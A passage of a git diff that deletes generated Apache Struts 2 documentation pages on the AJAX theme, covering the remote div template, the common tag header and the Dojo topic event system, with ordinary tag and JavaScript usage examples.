-<p>For an example of this, see <a shape="rect" href="ajax-validation.html">AJAX Validation</a>.</p></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/ajax-common-header.html b/content/docs/ajax-common-header.html
deleted file mode 100644
index d720229..0000000
--- a/content/docs/ajax-common-header.html
+++ /dev/null
@@ -1,144 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>ajax common header</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ajax-common-header.html">ajax common header</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">ajax common header</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=66934">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=66934">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=66934">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=66934">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=66934">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=66934">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>
-</p><div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>To use this tag:</p>
-<ul><li>Add: <em>&lt;%@ taglib prefix="sx" uri="/struts-dojo-tags" %&gt;</em> to your page.</li><li>The <a shape="rect" href="dojo-head.html">head</a> tag must be included on the page, which can be configured for performance or debugging purposes.</li><li>If the parseContent parameter for the <a shape="rect" href="dojo-head.html">head</a> tag is false (it is false by default), then the <strong>id</strong> tag is required.</li></ul>
-</div></div>
-<div class="confluence-information-macro confluence-information-macro-tip"><p class="title">Additional Examples</p><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>For more examples see <a shape="rect" href="ajax-and-javascript-recipes.html">Ajax and JavaScript Recipes</a></p></div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/ajax-div-template.html b/content/docs/ajax-div-template.html
deleted file mode 100644
index e4e7631..0000000
--- a/content/docs/ajax-div-template.html
+++ /dev/null
@@ -1,288 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>ajax div template</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="ui-tags.html">UI Tags</a>&nbsp;&gt;&nbsp;<a href="themes-and-templates.html">Themes and Templates</a>&nbsp;&gt;&nbsp;<a href="ajax-theme.html">ajax theme</a>&nbsp;&gt;&nbsp;<a href="ajax-div-template.html">ajax div template</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">ajax div template</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14295">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14295">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14295">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14295">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14295">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14295">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The Ajax theme is experimental. Feedback is appreciated.</p></div></div>
-
-<p>The ajax <a shape="rect" href="https://cwiki.apache.org/confluence/pages/viewpage.action?pageId=27272">div</a> template provides a much more interesting div rendering option that the other themes do. Rather than simply rendering a <code>&lt;div&gt;</code> tag, this template relies on advanced AJAX features provided by the <a shape="rect" class="external-link" href="http://dojotoolkit.org" rel="nofollow">Dojo Toolkit</a>. While the <a shape="rect" href="https://cwiki.apache.org/conflue [...]
-
-<h2 id="ajaxdivtemplate-Features">Features</h2>
-
-<p>The remote div has a few features, some of which can be combined with the <a shape="rect" href="a.html">a</a> tag and the <a shape="rect" href="ajax-a-template.html">ajax a template</a>. These uses are:</p>
-<ul><li>Retrieve remote data</li><li>Initialize the div with content before the remote data is retrieved</li><li>Display appropriate error and loading messages</li><li>Refresh data on a timed cycle</li><li>Listen for events and refresh data</li><li>JavaScript control support</li></ul>
-
-
-<h2 id="ajaxdivtemplate-RetrieveRemoteData">Retrieve Remote Data</h2>
-
-<p>The simplest way to use the div tag is to provide an <em>href</em> attribute. For example:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;saf:div theme="ajax" id="weather" href="http://www.weather.com/weather?zip=97239"/&gt;
-</pre>
-</div></div>
-<p>What this does after the HTML page is completely loaded, the specified URL will be retrieved asynchronously in the browser. The entire contents returned by that URL will be injected in to the div.</p>
-
-<h3 id="ajaxdivtemplate-InitializingtheDiv">Initializing the Div</h3>
-
-<p>Because the remote data isn't loaded immediately, it is sometimes useful to have some placeholder content that exists before the remote data is retrieved. The content is essentially just the body of the div element. For example:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;saf:div theme="ajax" id="weather" href="http://www.weather.com/weather?zip=97239"&gt;
-    Placeholder...
-&lt;/saf:div&gt;
-</pre>
-</div></div>
-<p>If you wish to load more complex initial data, you can use the <a shape="rect" href="https://cwiki.apache.org/confluence/pages/viewpage.action?pageId=97305">action</a> tag and the <em>executeResult</em> attribute:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;saf:div theme="ajax" id="weather" href="http://www.weather.com/weather?zip=97239"&gt;
-    &lt;ww:action id="weather" name="weatherBean" executeResult="true"&gt;
-        &lt;ww:param name="zip" value="97239"/&gt;
-    &lt;/ww:action&gt;
-&lt;/saf:div&gt;
-</pre>
-</div></div>
-
-<h3 id="ajaxdivtemplate-LoadingandErrorMessages">Loading and Error Messages</h3>
-
-<p>If you'd like to display special messages when the data is being retrieved or when the data cannot be retrieved, you can use the <em>errorText</em> and <em>loadingText</em> attributes:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;saf:div theme="ajax" id="weather" href="http://www.weather.com/weather?zip=97239"
-        loadingText="Loading weather information..."
-        errorText="Unable to contact weather server"&gt;
-    Placeholder...
-&lt;/saf:div&gt;
-</pre>
-</div></div>
-
-<h3 id="ajaxdivtemplate-RefreshTimers">Refresh Timers</h3>
-
-<p>Another feature this div template provides is the ability to refresh data on a timed basis. Using the <em>updateFreq</em> and the <em>delay</em>attributes, you can specify how often the timer goes off and when the timer starts (times in milliseconds). For example, the following will update every minute after a two second delay:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;saf:div theme="ajax" id="weather" href="http://www.weather.com/weather?zip=97239"
-        loadingText="Loading weather information..."
-        errorText="Unable to contact weather server"&gt;
-        delay="2000"
-        updateFreq="60000"
-    Placeholder...
-&lt;/saf:div&gt;
-</pre>
-</div></div>
-
-<h3 id="ajaxdivtemplate-ListeningforEvents">Listening for Events</h3>
-
-<p>The <a shape="rect" href="a.html">a</a> tag (specifically the <a shape="rect" href="ajax-a-template.html">ajax a template</a>) and the div tag support an <a shape="rect" href="ajax-event-system.html">ajax event system</a>, providing the ability to broadcast events to topics. You can specify the <strong>topics</strong> to listen to using a comma separated list in the <em>listenTopics</em> attribute. What this means is that when a topic is published, usually through the <a shape="rect"  [...]
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;saf:div theme="ajax" id="weather" href="http://www.weather.com/weather?zip=97239"
-        loadingText="Loading weather information..."
-        errorText="Unable to contact weather server"
-        listenTopics="weather_topic,some_topic"&gt;
-    Placeholder...
-&lt;/saf:div&gt;
-&lt;saf:a id="link1"
-      theme="ajax"
-      href="refreshWeather.action"
-      notifyTopics="weather_topic,other_topic"
-      errorText="An Error ocurred"&gt;Refresh&lt;/saf:a&gt;
-</pre>
-</div></div>
-
-<h3 id="ajaxdivtemplate-JavaScriptSupport">JavaScript Support</h3>
-
-<p>There are also javascript functions to refresh the content and stop/start the refreshing of the component. For the remote div with the component id "remotediv1":</p>
-
-<p>To start refreshing use the javascript:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-remotediv1.startTimer();
-</pre>
-</div></div>
-<p>To stop refreshing use the javascript:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-remotediv1.stopTimer();
-</pre>
-</div></div>
-<p>To refresh the content use the javascript:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-remotediv1.refresh();
-</pre>
-</div></div>
-
-<h4 id="ajaxdivtemplate-JavaScriptExamples:">JavaScript Examples:</h4>
-
-<p>To further illustrate these concepts here is an example. Say you want to change the url of a div at runtime via javascript. Here is what you need to do:<br clear="none">
-What you will need to do is add a JS function that listens to a JS event that publishes the id from the select box that was selected.  It will modify the URL for the div (adding the id so the correct data is obtained) and then bind() the AJAX div so it refreshes.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;saf:head theme="ajax" /&gt;
-
-&lt;script type="text/javascript"&gt;
-    function updateReports(id) {
-       var reportDiv= window['reportDivId'];
-       reportDiv.href = '/../reportListRemote.action?selectedId='+id;
-       reportDiv.refresh();
-    }
-    dojo.event.topic.getTopic("updateReportsListTopic").subscribe(null, "updateReports");
-&lt;/script&gt;
-
-&lt;form ... &gt;
-&lt;saf:select .... onchange="javascript: dojo.event.topic.publish("updateReportsListTopic", this.value); " /&gt;
-
-&lt;saf:div id="reportDivId" theme="ajax" href="/.../reportListRemote.action" &gt;
-  Loading reports...
-&lt;/saf:div&gt;
-&lt;/form&gt;
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/ajax-event-system.html b/content/docs/ajax-event-system.html
deleted file mode 100644
index 2d1bcfa..0000000
--- a/content/docs/ajax-event-system.html
+++ /dev/null
@@ -1,175 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>ajax event system</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="ui-tags.html">UI Tags</a>&nbsp;&gt;&nbsp;<a href="themes-and-templates.html">Themes and Templates</a>&nbsp;&gt;&nbsp;<a href="ajax-theme.html">ajax theme</a>&nbsp;&gt;&nbsp;<a href="ajax-event-system.html">ajax event system</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">ajax event system</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14084">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14084">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14084">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14084">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14084">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14084">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p>As you may have seen with the <a shape="rect" href="ajax-div-template.html">ajax div template</a> and <a shape="rect" href="ajax-a-template.html">ajax a template</a>, the framework and Dojo provide a nice way to subscribe and notify of topics from within the browser. A benifit of using Dojo as the basis of many of these components is being able to loosely couple UI components.  There are two attributes of importance: <code>listenTopics</code> and <code>notifyTopics</code>.</p>
-<ul><li>If a component has a <code>notifyTopics</code> attribute, then after the processing has been completed a message with be published to the topic names supplied as a value (comma delimited).</li><li>If a component has a <code>listenTopics</code> attribute, then when a message is published to the topic names supplied as a value (comma delimited), the component will perform custom tag-specific logic ( i.e a DIV tag will re-fresh its content).</li></ul>
-
-
-<p>As well as this, you can publish and subscribe to topic names with javascript code.  To publish to the <code>topic_name</code> topic:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-dojo.event.topic.publish("topic_name", "content");
-</pre>
-</div></div>
-<p>The topic_name attribute is required, the content attribute is not and most elements are triggered without having this attribute. See the <a shape="rect" href="ajax-div-template.html">ajax div template</a> for an example of this type of interaction.</p>
-
-<p>To subscribe to the <em>topic_name</em> topic:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-function doSomethingWithEvent(data) {
-...
-}
-
-dojo.event.topic.getTopic("topic_name").subscribe(null, "doSomethingWithEvent");
-</pre>
-</div></div>
-<p>The <code>subscribe</code> method takes 2 parameters, the first is the JavaScript object variable (or null if the function is not from an object) and the second is the name of the function to call when an event is recieved on the topic.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/ajax-head-template.html b/content/docs/ajax-head-template.html
deleted file mode 100644
index 3ac7cfd..0000000
--- a/content/docs/ajax-head-template.html
+++ /dev/null
@@ -1,174 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
